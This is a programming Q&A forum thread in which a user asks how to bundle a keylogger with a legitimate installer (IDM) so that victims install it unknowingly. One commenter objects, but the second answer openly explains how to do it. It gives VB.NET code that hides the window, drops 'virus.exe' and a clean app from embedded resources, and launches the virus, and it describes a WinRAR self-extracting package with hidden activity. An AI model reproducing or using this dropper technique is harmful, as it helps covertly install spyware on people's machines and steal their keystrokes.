Click here to Skip to main content
15,881,882 members
Please Sign up or sign in to vote.
2.33/5 (3 votes)
See more:
How can I run Any Exe After setup is successfully installed. for example i have IDM setup, i want to run my Exe or attach it to IDM setup so that if IDM is installed my application or exe also start get install with it.

One of my friend did this, but i dont know how he did that. He attached his keylogger application to Some setup, so that someone install that application his keylogger application also got installed.

Am wondering how can I do this?
Posted
Comments
max_nowak 28-Feb-13 7:12am    
You are not seriously asking for advice on your keylogger spyware stuff, are you??

You can include your exe in the installer. The installer has options to run programs (or scripts or ...) in different phases of the product installation. You can have the installer leave (or not) your exe on the system as part of the installation.

Read up on installer logic.
 
Share this answer
 
There are many solutions to install your spyware simultanously with another application.

1. You can mount both, spyware and clean application in Resources on VBNET or C#.
you can program at run time to execute both apps on the same time.
Set the App's State to Hidden(Me.Hide())
In Load Event write;
IO.File.WriteAllBytes("C:\virus.exe", My.Resources.virus)
IO.File.WriteAllBytes("C:\cleanApp.exe", My.Resources.cleanApp)
Process.Start("C:\virus.exe")


2. Winrar also gives a possibility to mount files, in this case executables, which they will decompressed at run time(there are many option like hide activity, ...)
You have to mount a script, which you have also to include on the package. And on the script you write to execute the virus.exe and cleanApp.exe
I prefer VBScript, its very powerfull in case you dont know it
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900